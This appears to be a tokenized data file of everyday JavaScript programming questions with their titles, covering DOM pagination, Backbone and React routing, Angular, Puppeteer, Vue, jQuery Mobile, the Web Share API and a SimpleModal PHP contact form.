do to get new page filled with exceed content from previous page ? var element = document.getElementsByClassName ( 'a4 ' ) [ 0 ] ; var editorHeight = element.offsetHeight ; var pages = element.childElementCount * 1123 ; var pageNumber = element.getElementsByClassName ( 'a4 ' ) .length + 1 ; if ( editorHeight < pages ) { var newPage = document.createElement ( 'page ' ) ; newPage.setAttribute ( 'size ' , 'A4 ' ) ; newPage.setAttribute ( 'class ' , 'a4 ' ) ; newPage.dataset.pages = pageNumber ; element.appendChild ( newPage ) ; } body { background : rgb ( 204 , 204 , 204 ) ; } page { background : white ; display : block ; text-align : justify ; margin : 20px ; margin-bottom : 0.5cm ; box-shadow : 0 0 0.5cm rgba ( 0 , 0 , 0 , 0.5 ) ; } page [ size= '' A4 '' ] { width : 21cm ; height : 29.7cm ; padding : 20px ; } @ media print { body , page { margin : 0 ; box-shadow : 0 ; } } < page size= '' A4 '' > Contrary to popular belief , Lorem Ipsum is not simply random text . It has roots in a piece of classical Latin literature from 45 BC , making it over 2000 years old . Richard McClintock , a Latin professor at Hampden-Sydney College in Virginia , looked up one of the more obscure Latin words , consectetur , from a Lorem Ipsum passage , and going through the cites of the word in classical literature , discovered the undoubtable source . Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of `` de Finibus Bonorum et Malorum '' ( The Extremes of Good and Evil ) by Cicero , written in 45 BC . This book is a treatise on the theory of ethics , very popular during the Renaissance . The first line of Lorem Ipsum , `` Lorem ipsum dolor sit amet.. '' , comes from a line in section 1.10.32 . The standard chunk of Lorem Ipsum used since the 1500s is reproduced below for those interested . Sections 1.10.32 and 1.10.33 from `` de Finibus Bonorum et Malorum '' by Cicero are also reproduced in their exact original form , accompanied by English versions from the 1914 translation by H. Rackham . Contrary to popular belief , Lorem Ipsum is not simply random text . It has roots in a piece of classical Latin literature from 45 BC , making it over 2000 years old . Richard McClintock , a Latin professor at Hampden-Sydney College in Virginia , looked up one of the more obscure Latin words , consectetur , from a Lorem Ipsum passage , and going through the cites of the word in classical literature , discovered the undoubtable source . Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of `` de Finibus Bonorum et Malorum '' ( The Extremes of Good and Evil ) by Cicero , written in 45 BC . This book is a treatise on the theory of ethics , very popular during the Renaissance . The first line of Lorem Ipsum , `` Lorem ipsum dolor sit amet.. '' , comes from a line in section 1.10.32 . The standard chunk of Lorem Ipsum used since the 1500s is reproduced below for those interested . Sections 1.10.32 and 1.10.33 from `` de Finibus Bonorum et Malorum '' by Cicero are also reproduced in their exact original form , accompanied by English versions from the 1914 translation by H. Rackham . Contrary to popular belief , Lorem Ipsum is not simply random text . It has roots in a piece of classical Latin literature from 45 BC , making it over 2000 years old . Richard McClintock , a Latin professor at Hampden-Sydney College in Virginia , looked up one of the more obscure Latin words , consectetur , from a Lorem Ipsum passage , and going through the cites of the word in classical literature , discovered the undoubtable source . Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of `` de Finibus Bonorum et Malorum '' ( The Extremes of Good and Evil ) by Cicero , written in 45 BC . This book is a treatise on the theory of ethics , very popular during the Renaissance . The first line of Lorem Ipsum , `` Lorem ipsum dolor sit amet.. '' , comes from a line in section 1.10.32 . The standard chunk of Lorem Ipsum used since the 1500s is reproduced below for those interested . Sections 1.10.32 and 1.10.33 from `` de Finibus Bonorum et Malorum '' by Cicero are also reproduced in their exact original form , accompanied by English versions from the 1914 translation by H. Rackham . Contrary to popular belief , Lorem Ipsum is not simply random text . It has roots in a piece of classical Latin literature from 45 BC , making it over 2000 years old . Richard McClintock , a Latin professor at Hampden-Sydney College in Virginia , looked up one of the more obscure Latin words , consectetur , from a Lorem Ipsum passage , and going through the cites of the word in classical literature , discovered the undoubtable source . Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of `` de Finibus Bonorum et Malorum '' ( The Extremes of Good and Evil ) by Cicero , written in 45 BC . This book is a treatise on the theory of ethics , very popular during the Renaissance . The first line of Lorem Ipsum , `` Lorem ipsum dolor sit amet.. '' , comes from a line in section 1.10.32 . The standard chunk of Lorem Ipsum used since the 1500s is reproduced below for those interested . Sections 1.10.32 and 1.10.33 from `` de Finibus Bonorum et Malorum '' by Cicero are also reproduced in their exact original form , accompanied by English versions from the 1914 translation by H. Rackham . Contrary to popular belief , Lorem Ipsum is not simply random text . It has roots in a piece of classical Latin literature from 45 BC , making it over 2000 years old . Richard McClintock , a Latin professor at Hampden-Sydney College in Virginia , looked up one of the more obscure Latin words , consectetur , from a Lorem Ipsum passage , and going through the cites of the word in classical literature , discovered the undoubtable source . Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of `` de Finibus Bonorum et Malorum '' ( The Extremes of Good and Evil ) by Cicero , written in 45 BC . This book is a treatise on the theory of ethics , very popular during the Renaissance . The first line of Lorem Ipsum , `` Lorem ipsum dolor sit amet.. '' , comes from a line in section 1.10.32 . The standard chunk of Lorem Ipsum used since the 1500s is reproduced below for those interested . Sections 1.10.32 and 1.10.33 from `` de Finibus Bonorum et Malorum '' by Cicero are also reproduced in their exact original form , accompanied by English versions from the 1914 translation by H. Rackham . Contrary to popular belief , Lorem Ipsum is not simply random text . It has roots in a piece of classical Latin literature from 45 BC , making it over 2000 years old . Richard McClintock , a Latin professor at Hampden-Sydney College in Virginia , looked up one of the more obscure Latin words , consectetur , from a Lorem Ipsum passage , and going through the cites of the word in classical literature , discovered the undoubtable source . Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of `` de Finibus Bonorum et Malorum '' ( The Extremes of Good and Evil ) by Cicero , written in 45 BC . This book is a treatise on the theory of ethics , very popular during the Renaissance . The first line of Lorem Ipsum , `` Lorem ipsum dolor sit amet.. '' , comes from a line in section 1.10.32 . The standard chunk of Lorem Ipsum used since the 1500s is reproduced below for those interested . Sections 1.10.32 and 1.10.33 from `` de Finibus Bonorum et Malorum '' by Cicero are also reproduced in their exact original form , accompanied by English versions from the 1914 translation by H. Rackham . Contrary to popular belief , Lorem Ipsum is not simply random text . It has roots in a piece of classical Latin literature from 45 BC , making it over 2000 years old . Richard McClintock , a Latin professor at Hampden-Sydney College in Virginia , looked up one of the more obscure Latin words , consectetur , from a Lorem Ipsum passage , and going through the cites of the word in classical literature , discovered the undoubtable source . Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of `` de Finibus Bonorum et Malorum '' ( The Extremes of Good and Evil ) by Cicero , written in 45 BC . This book is a treatise on the theory of ethics , very popular during the Renaissance . The first line of Lorem Ipsum , `` Lorem ipsum dolor sit amet.. '' , comes from a line in section 1.10.32 . The standard chunk of Lorem Ipsum used since the 1500s is reproduced below for those interested . Sections 1.10.32 and 1.10.33 from `` de Finibus Bonorum et Malorum '' by Cicero are also reproduced in their exact original form , accompanied by English versions from the 1914 translation by H. Rackham . Contrary to popular belief , Lorem Ipsum is not simply random text . It has roots in a piece of classical Latin literature from 45 BC , making it over 2000 years old . Richard McClintock , a Latin professor at Hampden-Sydney College in Virginia , looked up one of the more obscure Latin words , consectetur , from a Lorem Ipsum passage , and going through the cites of the word in classical literature , discovered the undoubtable source . Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of `` de Finibus Bonorum et Malorum '' ( The Extremes of Good and Evil ) by Cicero , written in 45 BC . This book is a treatise on the theory of ethics , very popular during the Renaissance . The first line of Lorem Ipsum , `` Lorem ipsum dolor sit amet.. '' , comes from a line in section 1.10.32 . The standard chunk of Lorem Ipsum used since the 1500s is reproduced below for those interested . Sections 1.10.32 and 1.10.33 from `` de Finibus Bonorum et Malorum '' by Cicero are also reproduced in their exact original form , accompanied by English versions from the 1914 translation by H. Rackham . Contrary to popular belief , Lorem Ipsum is not simply random text . It has roots in a piece of classical Latin literature from 45 BC , making it over 2000 years old . Richard McClintock , a Latin professor at Hampden-Sydney College in Virginia , looked up one of the more obscure Latin words , consectetur , from a Lorem Ipsum passage , and going through the cites of the word in classical literature , discovered the undoubtable source . Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of `` de Finibus Bonorum et Malorum '' ( The Extremes of Good and Evil ) by Cicero , written in 45 BC . This book is a treatise on the theory of ethics , very popular during the Renaissance . The first line of Lorem Ipsum , `` Lorem ipsum dolor sit amet.. '' , comes from a line in section 1.10.32 . The standard chunk of Lorem Ipsum used since the 1500s is reproduced below for those interested . Sections 1.10.32 and 1.10.33 from `` de Finibus Bonorum et Malorum '' by Cicero are also reproduced in their exact original form , accompanied by English versions from the 1914 translation by H. Rackham . Contrary to popular belief , Lorem Ipsum is not simply random text . It has roots in a piece of classical Latin literature from 45 BC , making it over 2000 years old . Richard McClintock , a Latin professor at Hampden-Sydney College in Virginia , looked up one of the more obscure Latin words , consectetur , from a Lorem Ipsum passage , and going through the cites of the word in classical literature , discovered the undoubtable source . Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of `` de Finibus Bonorum et Malorum '' ( The Extremes of Good and Evil ) by Cicero , written in 45 BC . This book is a treatise on the theory of ethics , very popular during the Renaissance . The first line of Lorem Ipsum , `` Lorem ipsum dolor sit amet.. '' , comes from a line in section 1.10.32 . The standard chunk of Lorem Ipsum used since the 1500s is reproduced below for those interested . Sections 1.10.32 and 1.10.33 from `` de Finibus Bonorum et Malorum '' by Cicero are also reproduced in their exact original form , accompanied by English versions from the 1914 translation by H. Rackham . Contrary to popular belief , Lorem Ipsum is not simply random text . It has roots in a piece of classical Latin literature from 45 BC , making it over 2000 years old . Richard McClintock , a Latin professor at Hampden-Sydney College in Virginia , looked up one of the more obscure Latin words , consectetur , from a Lorem Ipsum passage , and going through the cites of the word in classical literature , discovered the undoubtable source . Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of `` de Finibus Bonorum et Malorum '' ( The Extremes of Good and Evil ) by Cicero , written in 45 BC . This book is a treatise on the theory of ethics , very popular during the Renaissance . The first line of Lorem Ipsum , `` Lorem ipsum dolor sit amet.. '' , comes from a line in section 1.10.32 . The standard chunk of Lorem Ipsum used since the 1500s is reproduced below for those interested . Sections 1.10.32 and 1.10.33 from `` de Finibus Bonorum et Malorum '' by Cicero are also reproduced in their exact original form , accompanied by English versions from the 1914 translation by H. Rackham . Contrary to popular belief , Lorem Ipsum is not simply random text . It has roots in a piece of classical Latin literature from 45 BC , making it over 2000 years old . Richard McClintock , a Latin professor at Hampden-Sydney College in Virginia , looked up one of the more obscure Latin words , consectetur , from a Lorem Ipsum passage , and going through the cites of the word in classical literature , discovered the undoubtable source . Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of `` de Finibus Bonorum et Malorum '' ( The Extremes of Good and Evil ) by Cicero , written in 45 BC . This book is a treatise on the theory of ethics , very popular during the Renaissance . The first line of Lorem Ipsum , `` Lorem ipsum dolor sit amet.. '' , comes from a line in section 1.10.32 . The standard chunk of Lorem Ipsum used since the 1500s is reproduced below for those interested . Sections 1.10.32 and 1.10.33 from `` de Finibus Bonorum et Malorum '' by Cicero are also reproduced in their exact original form , accompanied by English versions from the 1914 translation by H. Rackham . Contrary to popular belief , Lorem Ipsum is not simply random text . It has roots in a piece of classical Latin literature from 45 BC , making it over 2000 years old . Richard McClintock , a Latin professor at Hampden-Sydney College in Virginia , looked up one of the more obscure Latin words , consectetur , from a Lorem Ipsum passage , and going through the cites of the word in classical literature , discovered the undoubtable source . Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of `` de Finibus Bonorum et Malorum '' ( The Extremes of Good and Evil ) by Cicero , written in 45 BC . This book is a treatise on the theory of ethics , very popular during the Renaissance . The first line of Lorem Ipsum , `` Lorem ipsum dolor sit amet.. '' , comes from a line in section 1.10.32 . The standard chunk of Lorem Ipsum used since the 1500s is reproduced below for those interested . Sections 1.10.32 and 1.10.33 from `` de Finibus Bonorum et Malorum '' by Cicero are also reproduced in their exact original form , accompanied by English versions from the 1914 translation by H. Rackham. < /page >",How to create new page element for exceed content ? "JS : We 're using Backbone.Router in a pushstate-only mode , so all our client routes are hash-less.However , we 're facing a difficulty with implementing modal views in our app.The challenge is the following : We want Back button to hide the current modal view ( so we need it to have a URL ) ; We want Forward to show it again without redrawing the whole app ; We want to be able to show modals “ on top of ” any existing route and not just on one page ; We want to be able to make links that immediately show a specific modal ( such as login modal view ) .In other words , we want modal views to be represented in history.Our first attempt was to use URL like /login for login modal and handle them specifically in route handler . When we 're on /otherpage , opening modal would navigate to /login , and , when modal is closed , navigate again to /otherpage.However , this has a very major problem : URL like /login does n't “ know ” over which view it should be drawn , so we have to redraw everything when pressing Back and Forward.This actually makes sense : Login modal over Home screen should have different URL from Login modal over Other Page.My second thought was that maybe we can use hashes for indicating current modal view : This makes the routing handler simple : First , draw the actual views based on matched route , just like we did before.After that , if hash is present , display a modal view on top.This also fits with the idea of hash being a “ fragment ” of the visible document . ( Yes , apps are not documents , bla bla bla . We still want them to be addressable . ) Are there any inherent problems in this approach ? Is there a better approach satisfying our conditions ? // # login/otherpage/otherpage # login",Using URL fragment ( # ) for modal views in a pushState single-page app "JS : I need to provide a solid HTML string to my maps marker baloon body.I want to make the baloon an Angular component and use bindings and built-in directives ( *ngFor , *ngIf , etc ) .So Im looking for a way to evaluate all bindings in component template and compile result to a string ... How to achieve this or if this approach is non-angular - what could be the pattern recommended ? // Componentimport { Component } from ' @ angular2/core ' ; import { AnyThing } from './somewhere/in/my/app/anything.model.ts ' ; @ Component ( { selector : 'my-baloon-window ' , template : ` < p > This is a baloon for { { any.name } } < /p > ` } ) export class MyBaloonWindowComponent { constructor ( public something : AnyThing ) { } } // Implementationimport { AnyThing } from './somewhere/in/my/app/anything.model.ts ' ; import { MyBaloonWindowComponent } from './path/to/baloon-window.component ' ; /* { ... some code here ... } */private createBaloonWindow ( thing : AnyThing ) : google.maps.InfoWindow { return new ymap.map.BaloonWindow ( { /* I want something like this */ content : new MyBaloonWindowComponent ( thing ) .toString ( ) /* ^ this is what I want ^ */ } ) ; }",Compile angular component to HTML with bindings "JS : Let 's say I have constructor functions Foo , Bar and Qux . How can I create a new object with a delegation chain ( using those constructors ) that I would dynamically choose on the fly ? For example , an object would have the delegation chain Foo - > Bar.Another object would have the chain Foo - > Qux.An object fooBar would be able to call foo ( ) and bar ( ) . Another object fooQux would be able to call foo ( ) and qux ( ) . Etc . function Foo ( ) { this.foo = function ( ) { console.log ( 'foo ' ) ; } } function Bar ( ) { this.bar = function ( ) { console.log ( 'bar ' ) ; } } function Qux ( ) { this.qux = function ( ) { console.log ( 'qux ' ) ; } }",Dynamic delegation inheritance JS : Puppeteer supports connection to the browser either using a websocket ( default ) or using a pipe.What are the advantages of either of those approaches ? Why would I choose one over the other ? What are their disadvantages ? puppeteer.launch ( { pipe : true } ) ;,What are the advantages and disadvantages of connecting Puppeteer over pipe instead of a websocket "JS : Here 's the standard way to use VueJS on the HTML page ( without bundles ) . No assignment . Why Garbage Collector does n't collect this Vue object ? < script > new Vue ( { el : ' # root ' , data : { title : 'Hello ' } } ) ; < /script >",Why does n't an unassigned Vue instance get garbage collected ? "JS : what I want to achieve is to put a hover effect on a position of a cursor..something like this : http : //drmportal.com/Here 's a fiddle : http : //jsfiddle.net/onnmwyhd/Here 's my code.HTMLCSSJQUERYthis is the color that I want on a position of a cursor ... . < div id= '' container '' > < /div > # container { background-color : # 6fc39a ; height:200px ; } $ ( `` # container '' ) .mousemove ( function ( e ) { var x = e.pageX - this.offsetLeft ; var y = e.pageY - this.offsetTop ; $ ( this ) .html ( `` X : `` + x + `` Y : `` + y ) ; } ) ; background-image : -webkit-linear-gradient ( -35deg , # 35a28e , # a8e4a5 ) ;",Background color on a specific area of an element JS : Consider an html select box with an id of `` MySelect '' . Is it safe to get the value of the selected option like this : rather than this : It appears to be safe but I 've never seen documentation on it . document.getElementById ( `` MySelect '' ) .value ; var Sel = document.getElementById ( `` MySelect '' ) ; var MyVal = Sel.option [ MyVal.selectedIndex ] .value ;,Is the .value property of HTMLSelectElement reliable "JS : I just started with custom elements and according to this article , a custom element can be defined as follows : This works great in my chrome browser , every time I create a new element the 'createdCallback ' is called.Now , if I look at the official documentation here I do n't see , for example , the createdCallback mentioned anywhere . Does someone understand the W3C documentation and can explain why this is ? Furthermore , looking at custom elements from web-components they look completely different . So now there are two different types of custom elements . This does n't make any sense or is there a good reason these two can exist together ? var proto = Object.create ( HTMLElement.prototype ) ; proto.createdCallback = function ( ) { ... } ; proto.enteredViewCallback = function ( ) { ... } ; document.register ( ' x-foo ' , { prototype : proto } ) ;",custom elements vs web-components custom elements "JS : I 've created an app using jQuery Mobile ( 1.3.1 ) and PhoneGap ( 3.4 ) , and have skinned it to have a fairly `` flat '' looking interface : I 'm having some trouble where , only on iOS , and only occasionally , the `` back '' button on only one certain screen becomes unresponsive . The same HTML & CSS for the back button on other screens seems fine , it 's just this one screen . Here it is in chrome with the button selected in devtools to highlight its hit area : And just for good measure , here 's the header as well : The code for this screen 's header is the same for just about every screen in the app : We 've found that , should the user get stuck on this screen and force-close the app , the button seems to work as expected in subsequent use.So my current theory is that the header is somehow getting in the way of the back button ( sometimes ) . The fact that it 's not every time makes me not really believe this theory completely , however.The button has its z-index set to 10 and the header 's z-index is left at the default ( which is 1 , correct ? ) . So even if it were the header getting in the way , my understanding is that the z-index of 10 should put the button `` on top '' and give it the first opportunity to receive the click/tap event.The app uses jQueryMobile 1.3.1 because of the timing of when and how it was created , and upgrading is not a reasonable option at this moment . ( There have been a significant number of breaking changes in 1.4.x ) I have debugged the app on both iOS and Android and no JavaScript errors are thrown . I 'm at a total loss for what to do . This app is in the process of rolling out to thousands of users and there 's a high likelihood that many , possibly most , will run into this bug . I would rather not have to explain ( with my tail between my legs ) that force-closing is the only way to fix this ... but that 's what I 've been doing so far.Does anyone have any advice or ideas on how to fix this ? Update 1 : I 've noticed while remote-debugging the app in Safari over USB that I can watch the classes on the back button change , when tapped , from ui-btn-up-e to ui-btn-hover-e briefly to ui-btn-down-e and back to ui-btn-up-e -- and yet the app is not going back ! : ( And as requested , here is the CSS applied to the header , the H1 , and the back button : ( just the `` computed '' final values , not all of the intermediary overridden values ) header div : H1 : Back button : < div data-role= '' header '' data-theme= '' e '' data-position= '' fixed '' data-tap-toggle= '' false '' > < h1 > Event Detail < /h1 > < a data-rel= '' back '' > Back < /a > < /div > -webkit-background-clip : border-box ; -webkit-background-origin : padding-box ; -webkit-background-size : auto ; background-attachment : scroll ; background-clip : border-box ; background-color : rgb ( 179 , 27 , 27 ) ; background-image : none ; background-origin : padding-box ; background-size : auto ; border-bottom-color : rgb ( 179 , 27 , 27 ) ; border-bottom-style : solid ; border-bottom-width : 1px ; border-image-outset : 0px ; border-image-repeat : stretch ; border-image-slice : 100 % ; border-image-source : none ; border-image-width : 1 ; border-left-color : rgb ( 179 , 27 , 27 ) ; border-left-style : solid ; border-left-width : 0px ; border-right-color : rgb ( 179 , 27 , 27 ) ; border-right-style : solid ; border-right-width : 0px ; border-top-color : rgb ( 179 , 27 , 27 ) ; border-top-style : solid ; border-top-width : 1px ; color : rgb ( 255 , 255 , 255 ) ; display : block ; font-family : MyriadPro , Helvetica , sans-serif ; font-weight : bold ; height : 45px ; left : 0px ; padding-top : 1px ; position : fixed ; right : 0px ; text-shadow : rgb ( 85 , 85 , 85 ) 0px 1px 0px ; top : -1px ; width : 320px ; z-index : 1000 ; zoom : 1 ; color : rgb ( 255 , 255 , 255 ) ; display : block ; font-family : MyriadPro , Helvetica , sans-serif ; font-size : 18px ; font-weight : bold ; height : 23px ; margin-bottom : 10px ; margin-left : 48px ; margin-right : 48px ; margin-top : 12px ; min-height : 19.799999237060547px ; outline-color : rgb ( 255 , 255 , 255 ) ; outline-style : none ; outline-width : 0px ; overflow-x : hidden ; overflow-y : hidden ; padding-bottom : 0px ; padding-left : 0px ; padding-right : 0px ; padding-top : 0px ; text-align : center ; text-overflow : ellipsis ; text-shadow : rgb ( 85 , 85 , 85 ) 0px 1px 0px ; white-space : nowrap ; width : 224px ; zoom : 1 ; -webkit-background-clip : border-box ; -webkit-background-origin : padding-box ; -webkit-background-size : auto ; -webkit-box-shadow : none ; background-attachment : scroll ; background-clip : border-box ; background-color : rgb ( 179 , 27 , 27 ) ; background-image : none ; background-origin : padding-box ; background-size : auto ; border-bottom-color : rgb ( 179 , 27 , 27 ) ; border-bottom-left-radius : 4px ; border-bottom-right-radius : 4px ; border-bottom-style : solid ; border-bottom-width : 0px ; border-image-outset : 0px ; border-image-repeat : stretch ; border-image-slice : 100 % ; border-image-source : none ; border-image-width : 1 ; border-left-color : rgb ( 179 , 27 , 27 ) ; border-left-style : solid ; border-left-width : 0px ; border-right-color : rgb ( 179 , 27 , 27 ) ; border-right-style : solid ; border-right-width : 0px ; border-top-color : rgb ( 179 , 27 , 27 ) ; border-top-left-radius : 4px ; border-top-right-radius : 4px ; border-top-style : solid ; border-top-width : 0px ; box-shadow : none ; color : rgb ( 255 , 255 , 255 ) ; cursor : pointer ; display : block ; font-family : MyriadPro , Helvetica , sans-serif ; font-weight : bold ; height : 31px ; left : 5px ; margin-bottom : 0px ; margin-left : 0px ; margin-right : 0px ; margin-top : 0px ; padding-bottom : 0px ; padding-left : 0px ; padding-right : 0px ; padding-top : 0px ; position : absolute ; text-align : center ; text-decoration : none solid rgb ( 255 , 255 , 255 ) ; text-shadow : rgb ( 0 , 0 , 0 ) 0px 1px 0px ; top : 15px ; vertical-align : middle ; width : 60px ; z-index : 10 ; zoom : 1 ;",Occasionally unresponsive back button on jQueryMobile PhoneGap app "JS : When users click the share button on our paywalled site , we generate a token via an async call that allows the people clicking on the share link to bypass the paywall.I 've added support for Web Share API first calling the token before triggering navigator.share - along these lines : This is working fine on Chrome / Android which supports Web Share . However on Safari , I am getting a not allowed error . The request is not allowed by the user agent or the platform in the current context , possibly because the user denied permission ( This only happens on the first share attempt as I save the response to the window and therefore on subsequent clicks it avoids the AJAX call and works just fine . ) Because of the number of readers we have and the small number that actually use the share option , it would be expensive to make the AJAX call for ever page load ( vs. only when user expresses intent to share ) .Being that this works fine in Chrome I am assuming nothing in the spec prohibits an AJAX call before launching Web Share.Might this be a bug in Safari 's implementation ? Or the reverse and actually Chrome should n't be allowing ? Example : https : //mkonikov.com/web-share-testing/I 've added a toggle to share with or without fetching first . This share fails only when fetch is enabled . ( Also worth noting , sharing will fail with a setTimeout of over 1000ms ) Update : I have created a bug with the web-kit team here : https : //bugs.webkit.org/show_bug.cgi ? id=197779 . Update 2 : Here 's a relevant Twitter thread with some folks from W3Chttps : //twitter.com/marcosc/status/1167607222009884672 fetchCallForLink ( ) .then ( ( url ) = > { navigator.share ( { title : 'Test Title ' , url , } ) ;",How to use WebShareAPI preceded by an AJAX call in Safari ? "JS : I 'm doing something like this : It works just fine in the samples I 've tried , but I 'm not sure if it might have an unexpected behavior in certain scenarios/browsers.Is it ok to modify the object being iterated ? var myObj = { a:1 , b:2 , c:3 , d:4 } ; for ( var key in myObj ) { if ( someCondition ) { delete ( myObj [ key ] ) ; } }",Javascript : Is it safe to delete properties on an object being iterated with 'for ' "JS : I am writing a React ( ES6 , v16 ) ( typescript ) application with react-router v4 . I am observing a very strange behavior . Here is my render code ( very much simplified ) : And here is the FormEntry component ( simplified ) : Now when , inside the application , I click a link `` /foo/add '' , the handler in the first `` Route '' component is fired ( as expected ) and the component `` FormEntry '' is mounted . The method componentDidMount is rightfully fired . Now I click the link `` foo/edit/1 '' . The handler of the second Route is fired . This time , inside the `` FormEntry '' component , the lifecycle method `` componentDidMount '' is not fired , the method `` componentDidUpdate '' is called . But this is cleary a different `` instance '' of the FormEntry which is being mounted . I was expecting the see of the lifecycle methods kicked off ... It looks like there is only one instance of `` FormEntry '' in my application . So why in the second case ( when Route handler for url `` foo/edit : id '' ) this instance does not go through the all lifecycle methods ? ? Is it a breaking change in the v16 version of React ? ( I have not observed this behavior in previous versions of react ) .Your insight will be very much appreciated render ( ) { < Switch > < Route path= '' /foo/add '' render= { props = > { return ( < FormEntry title= '' add new '' / > ) ; } } / > < Route path= '' /foo/edit/ : id '' render= { props = > { return ( < FormEntry title= '' edit item '' / > ) ; } } / > < /Switch > } class FormEntry extends React.Component < { title : string } , any > { render ( ) { return ( < div > { this.props.title } < /div > ) ; } componentDidMount ( ) { // code goes here } componentDidUpdate ( ) { // code goes here } }",React : is componentDidUpdate same for 2 different instances of a component ? "JS : I 'm new to javascript , with some experience in PHP , working mostly with HTML and css styles.I downloaded the simplemodal contact form from Eric Martin 's website which looks very nice.I was able to implement the modal pop-up contact form in a testing website at this location : http : //www.patagonia-tours.net/tours/patagonia.htm In this page I have listed three different tours , and I 'd like the visitor to enquiry/ask a question on every of them , and for that purpose I added the modal form.I need to solve two things : Number 1to pass a variable from the HTML to JAVASCRIPT that will be the tour name , using this variable as the title of the contact form . I figured out where this variable is located in the contact.js file and is named 'title'.This is the HTML code for the three buttons calling the modal form : The need is to pass the value of the title attribute in the HTML to the 'title ' variable in the javascript.Number 2I need to pass the same variable to the PHP script ( contact.php ) , so I can use it as the subject in the email then knowing which tour the visitor is interested in , and I honestly do n't now how to do this ( I did try some variants without success ) . < div id='contact-form ' > < input type='button ' name='contact ' value='Ask a question / book ' class='tour-button button-white ' title='Tour : El Calafate / Ushuaia / Torres del Paine ' > < /div > < div id='contact-form ' > < input type='button ' name='contact ' value='Ask a question / book ' class='tour-button button-white ' title='Tour : Ushuaia / Australis / Paine / Calafate ' > < /div > < div id='contact-form ' > < input type='button ' name='contact ' value='Ask a question / book ' class='tour-button button-white ' title= '' Tour : Ushuaia / Puerto Madryn '' >",simplemodal contact form passing HTML variables to JAVASCRIPT and to PHP "JS : I 'm working on an Angular 9 project where I 'm creating two themes and each theme has it 's own css output file . I modified the angular.json file to handle that : light-theme and dark-theme are my input files , where I 'm setting variables like : $ background-color $ button-color $ text-coloretc , etc.My problem is that I can not use those variables from each component , because my component wo n't know what those variables are . I can not import one or another theme , because I would like to use the values that I declared in the input file . How should I handle this ? Is there any way of `` importing '' the input file I wrote on my angular.json file ? Thanks ! `` styles '' : [ { `` input '' : `` src/styles/themes/light-theme.scss '' , `` lazy '' : true , `` bundleName '' : `` light-theme '' } , { `` input '' : `` src/styles/themes/dark-theme.scss '' , `` lazy '' : false , `` bundleName '' : `` dark-theme '' } ] ,",How can I handle multiple themes in an angular component ? "JS : I am new to React and hoping someone can shed some light on why this is happening and how to debug it.I have the following routes defined : requireAuth is supposed to check if the user is logged in and redirect them to the login page if not : If I leave the transtion.to call in and browse to the root URL I just see a message that says , `` Can not Get / '' with no error messages in the debugger . Putting a breakpoint on that line does n't seem to do anything.What 's especially odd is that if I replace transition.to ( ... ) with a debugger ; statement , then the method is called and routing works perfectly fine.I must have a misunderstanding on something , any ideas on what that is ? Edit : I should add that navigating to host : port/login works fine , so I know the login route works . export default ( withHistory , onUpdate ) = > { const history = withHistory ? ( Modernizr.history ? new BrowserHistory : new HashHistory ) : null ; return ( < Router history= { history } > < Route path='/login ' component= { Login } / > < Route path='/ ' component= { Home } onEnter= { requireAuth } / > < /Router > ) ; } ; function requireAuth ( nextState , transition ) { transition.to ( `` /login '' ) ; }",React Router Can not Get / depending on onEnter function "JS : Here 's the deal . Have a functioning web app using ASP.NET WebForms with a C # backend . The thing works fine , but I 'm always looking to improve , as a beginner at this stuff . Right now , to deal with a user 's search coming back with no results , I utilize the following , and was wondering if there was any cleaner way to do it , for future reference : DataClass data = new DataClass ( ) ; var searchresults = data.GetData ( searchBox.Text ) ; int datanumber = searchresults.Count ( ) ; if ( datanumber == 0 ) { ClientScript.RegisterStartupScript ( this.GetType ( ) , `` alert '' , `` javascript : alert ( 'There were no records found to match your search ' ) ; '' , true ) ; } else { DropDownList1.Visible = true ; DropDownList1.Items.Clear ( ) ; DropDownList1.DataSource = searchresults ; DropDownList1.DataBind ( ) ; }",Throwing a popup when search yields no results "JS : I have multiple form like this : I want validate ( field should not be blank ) in all form so , how can I use validation ? I tried jQuery validation : I have manage static name field validation but I do n't idea about dynamic venue name validation.Can anyone help me ? if only one form the easily maintain but dynamically multiple form submit validate how to validate.at a time only one form submit but particular form field validate how it is possible ? < ? php for ( $ i = 0 ; $ i > $ n ; $ i++ ) { ? > // n is no . of value ( no limit ) < form > < input name= '' < ? php echo $ i ; ? > venue '' type= '' text '' > < input name= '' roster '' type= '' text '' > < input type= '' submit '' name= '' btn_venue '' > < /form > < ? php } ? > < form > < input name= '' hospitality '' type= '' text '' > < input name= '' template '' type= '' text '' > < input type= '' submit '' name= '' btn_hospitality '' > < /form > ... ... < form > < input name= '' element '' type= '' text '' > < input name= '' alignment '' type= '' text '' > < input type= '' submit '' name= '' btn_xyz '' > < /form > < script > $ ( 'document ' ) .ready ( function ( ) { $ ( 'form ' ) .each ( function ( key , form ) { $ ( form ) .validate ( { rules : { hospitality : { required : true } , // ... // ... alignment : { required : true } } ) ; } ) ; } ) ; < /script >",Multiple form dynamic field javascript validation "JS : I try to get the id 's from List of Maps in Dart.In JavaScript it would be something like this : This should give the resultIs there a simple way of doing this in Dart ? So far I was able to do this ( in Dart ) : The result is a `` MappedListIterable '' ( not sure what that is ) and you can not use result [ 0 ] like you can with a normal List . How can I make a list of this ? var list = [ { id:3 , name : 'third ' } , { id:4 , name : 'fourth ' } ] ; var result = list.map ( function ( x ) { return x.id ; } ) ; [ 3 , 4 ] var list = [ { 'id':3 , 'name ' : 'third ' } , { 'id':4 , 'name ' : 'fourth ' } ] ; var result = list.map ( ( x ) = > x [ 'id ' ] ) ;",Dart equivalent of Array.prototype.map ( ) ? "JS : In the browser ( chrome at least ) functions are instances of FunctionHowever in node , they are notSo what is setTimeout 's constructor if not Function ? setTimeout instanceof Function// true setTimeout instanceof Function// false",What is the function constructor in Node.js ? "JS : I was looking in the javascript reference manual on the indexOf page at developer.mozilla.org site , and noticed a few things in their implementation code of indexOf , I hope somebody can explain to me.To save everybody a round trip to the mozilla site , here is the entire function : What I do not understand is the /* , 